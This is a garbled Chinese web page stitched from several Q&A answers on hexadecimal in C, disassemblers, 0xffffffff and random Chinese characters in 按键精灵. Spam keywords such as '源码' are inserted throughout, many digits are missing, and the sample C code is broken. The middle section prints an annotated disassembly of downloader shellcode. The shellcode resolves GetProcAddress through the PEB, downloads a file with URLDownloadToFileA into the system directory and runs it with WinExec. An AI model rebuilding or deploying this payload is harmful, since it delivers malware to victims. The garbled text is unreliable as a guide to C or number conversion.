c语言中十六进制和十进制的区别是什么?
C语言程序中,十进制和十六进制实际是源码互通的。十六进制数由数字0~9、源码字母A~F(或a~f)组成。源码把十六进制数按权展开、源码相加即得十进制数。源码京东火牛源码
现实中十六进制数和十进制数不可以直接相加,源码如是源码在电脑上的话是可以的,何种进制数在电脑上都是源码以二进制的形式表示的,在电脑编写程序时是源码可以相加的。
十进制数除base取余法,源码即十进制数除以base,源码余数为权位上的源码数,得到的源码iphonex86源码商值继续除以base,依此步骤继续向下运算直到商为0为止。源码
扩展资料
十六进制转十进制的源代码如下:
#include<stdio.h>
#include<string.h>
int main(void)
{
char s[]
hex[];
int i,j,num;
gets(s);
/*取出字符串中的十六进制字符*/
for(i=0,j=0;s[i]!='\0';i++)
{
hex[j]=s[i];
j++;
}
hex[j]='\0';
printf("Hexadecimal String: ");
puts(hex);
/* 十六进制转十进制 */
num=0;
for(i=0;hex[i]!='\0';i++)
}
printf("Decimal number=%d\n",num);
return 0;
}
十六进制编码的c语言是怎样的
文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的n卡支持源码工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。
OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,设备租赁的源码然后自己编写代码。
在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。
2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,阅读源码工具选择这段不起眼的代码,实际上实现了一个下载者的功能。
拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。
将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:
4AD 5A pop edx ; 函数返回的地址保存到edx中
4AD :A1 mov eax, dword ptr fs:[] ; 取peb
4AD 8B 0C mov eax, dword ptr [eax+C] ; peb_link
4ADB 8B 1C mov esi, dword ptr [eax+1C] ; 初始化列表到esi
4ADE AD lods dword ptr [esi] ; [esi]->eax + 8的位置即kernel.dll的地址
4ADF 8B mov eax, dword ptr [eax+8] ; eax=kernel.dll的地址
4AD 8BD8 mov ebx, eax ; ebx=kernel.dll的基址
4AD 8B 3C mov esi, dword ptr [ebx+3C] ; esi = pe头偏移
4AD 8BE mov esi, dword ptr [esi+ebx+] ; esi为kernel.dll导出表的偏移
4ADB F3 add esi, ebx ; esi = kernel.dll导出表的虚拟地址
4ADD 8B7E mov edi, dword ptr [esi+] ; edi=ent的偏移地址
4AD FB add edi, ebx ; edi = ent的虚拟地址
4AD 8B4E mov ecx, dword ptr [esi+] ; ecx = kernel.dll导出地址的个数
4AD ED xor ebp, ebp ; ebp=0
4AD push esi ; 保存导出表虚拟地址
4AD push edi ; 保存ent虚拟地址
4AD push ecx ; 保存计数
4ADA 8B3F mov edi, dword ptr [edi]
4ADC FB add edi, ebx ; 定位ent中的函数名
4ADE 8BF2 mov esi, edx ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据
4AD 6A 0E push 0E ; 0xe0是GetProcAddress函数的字符个数
4AD pop ecx ; 设置循环次数为 0xe
4AD F3:A6 repe cmps byte ptr es:[edi], byte ptr [esi] ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress
4AD je short 4ADF ; 如果ENT中的函数名为GetProcAddress跳走
4AD pop ecx ; 不相等则将导出地址数出栈
4AD 5F pop edi ; ent虚拟地址出栈
4AD C7 add edi, 4 ; edi地址递增4字节 因为ENT的元素大小为4字节
4ADC inc ebp ; ebp用于保存ent中定位到GetProcAddress函数时的计数
4ADD ^ E2 E9 loopd short 4AD ; 循环查询
4ADF pop ecx
4AD 5F pop edi
4AD 5E pop esi
4AD 8BCD mov ecx, ebp ; 计数保存于ecx
4AD 8B mov eax, dword ptr [esi+] ; esi+0x Ordinal序号表偏移地址
4AD C3 add eax, ebx ; ordinal序号表的虚拟地址
4AD D1E1 shl ecx, 1 ; ecx逻辑增加2倍 因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍
4ADB C1 add eax, ecx
4ADD C9 xor ecx, ecx ; ecx=0
4ADF :8B mov cx, word ptr [eax] ; 保存取出的ordinal序号
4AD 8B 1C mov eax, dword ptr [esi+1C] ; eax 为kenrnel.dll的EAT的偏移地址
4AD > C3 add eax, ebx ; eax = kernel.dll的eat虚拟地址
4AD C1E1 shl ecx, 2 ; 同上,扩大4倍因为eat中元素为DWORD值
4ADA C1 add eax, ecx
4ADC 8B mov eax, dword ptr [eax] ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA
4ADE C3 add eax, ebx ; 与基址相加求得GetProcAddress函数的虚拟地址
4AD 8BFA mov edi, edx ; GetProcAddress字符到edi
4AD 8BF7 mov esi, edi ; esi保存GetProcAddress地址
4AD C6 0E add esi, 0E ; esi指向GetProcAddress字符串的末地址
4AD 8BD0 mov edx, eax ; edx为GetProcAddress的地址
4AD 6A push 4
4ADB pop ecx ; ecx=4
有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:
4ADC E8 call 4ADE1 ; 设置IAT 得到4个函数的地址
4AD C6 0D add esi, 0D ; 从这里开始实现ShellCode的真正功能
4AD push edx
4AD push esi ; urlmon
4AD FF FC call dword ptr [edi-4] ; 调用LoadLibrarA来加载urlmon.dll
4AD 5A pop edx ; edx = GetProcAddress的地址
4ADA 8BD8 mov ebx, eax
4ADC 6A push 1
4ADE pop ecx
4ADF E8 3D call 4ADE1 ; 再次设置 IAT 得到URLDownLoadToFileA
4ADA4 C6 add esi, ; esi指向URLDownLoadToFileA的末地址
4ADA7 push esi
4ADA8 inc esi
4ADA9 E cmp byte ptr [esi], ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束
4ADAC ^ FA jnz short 4ADA8 ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x
4ADAE xor byte ptr [esi],
4ADB1 5E pop esi
4ADB2 EC sub esp, ; 开辟 byte栈空间
4ADB5 > 8BDC mov ebx, esp ; ebx为栈区的指针
4ADB7 6A push
4ADB9 push ebx
4ADBA FF EC call dword ptr [edi-] ; 调用GetSystemDirectoryA得到系统目录
4ADBD C 5CE mov dword ptr [ebx+eax], EC ; ebx+0x 系统路径占 0x个字节
4ADC4 C mov dword ptr [ebx+eax+4], ; 拼接下载后的文件路径%systemroot%\system\a.exe
4ADCC C0 xor eax, eax
4ADCE push eax
4ADCF push eax
4ADD0 push ebx
4ADD1 push esi
4ADD2 push eax
4ADD3 > FF FC call dword ptr [edi-4] ; URLDownLoadToFile下载文件为a.exe
4ADD6 8BDC mov ebx, esp
4ADD8 push eax
4ADD9 push ebx
4ADDA FF F0 call dword ptr [edi-] ; WinExec执行代码
4ADDD push eax
4ADDE FF F4 call dword ptr [edi-C] ; ExitThread退出线程
接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。
使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:
通过这个实例 ,相信应该能理解一个大致的流程啦。
0xffffffff是多少 C语言编程源代码中出现这个数字
0xffffffff表示的是一个十六进制数
1.将其转换为十进制数
0xffffffff=x^7+x^6+...+x^0=
2.将其转换为二进制数
十六进制转换为二进制就是直接把每位转换成二进制就可以了
f变成二进制:,则
0xffffffff =
即位数都是1的二进制数
[按键精灵] 源码+思路随机生成汉字
在按键精灵中,要实现随机生成汉字,首先要了解汉字的Unicode编码范围,这是十六进制的4E到9FA5。通过Randomize和Rnd函数,可以生成一个随机数,然后使用ChrW函数将这个数字转换为对应的汉字字符。
在编码操作中,十六进制数(如4E~9FA5,即~)是以为基数的计数系统,包括0-9和A-F。十六进制在按键精灵中常用于memory地址和RGB颜色数据。例如,颜色数据的转换可以通过特定的源码实现,如RGB篇。
在处理十六进制数时,需要特别注意&H前缀。它用于表示十六进制,比如&H表示十进制的。但&H会自动将数据转换为整型或长整型,对于负数,会使用补码表示,如-的十六进制为9FA5。要确保正确结果,需要在十六进制数后添加&,如&H9FA5&以强制作为长整型处理。
在编写脚本时,可以使用TracePrint调用随机生成汉字,如脚本“我的脚本.Q”中的第一行生成的字符:“匑鷳请媖鴔躕”。获取更详细的教学内容,可参考论坛、知乎账号或微信公众号“按键精灵”的资源。同时,按键精灵用户若想体验更多功能或开通权限,可联系客服获取折扣信息。
完整的操作过程和源码示例可以在“源码+思路随机生成汉字 _ 集结令●英雄归来技术比武大会 - 按键精灵论坛”找到。
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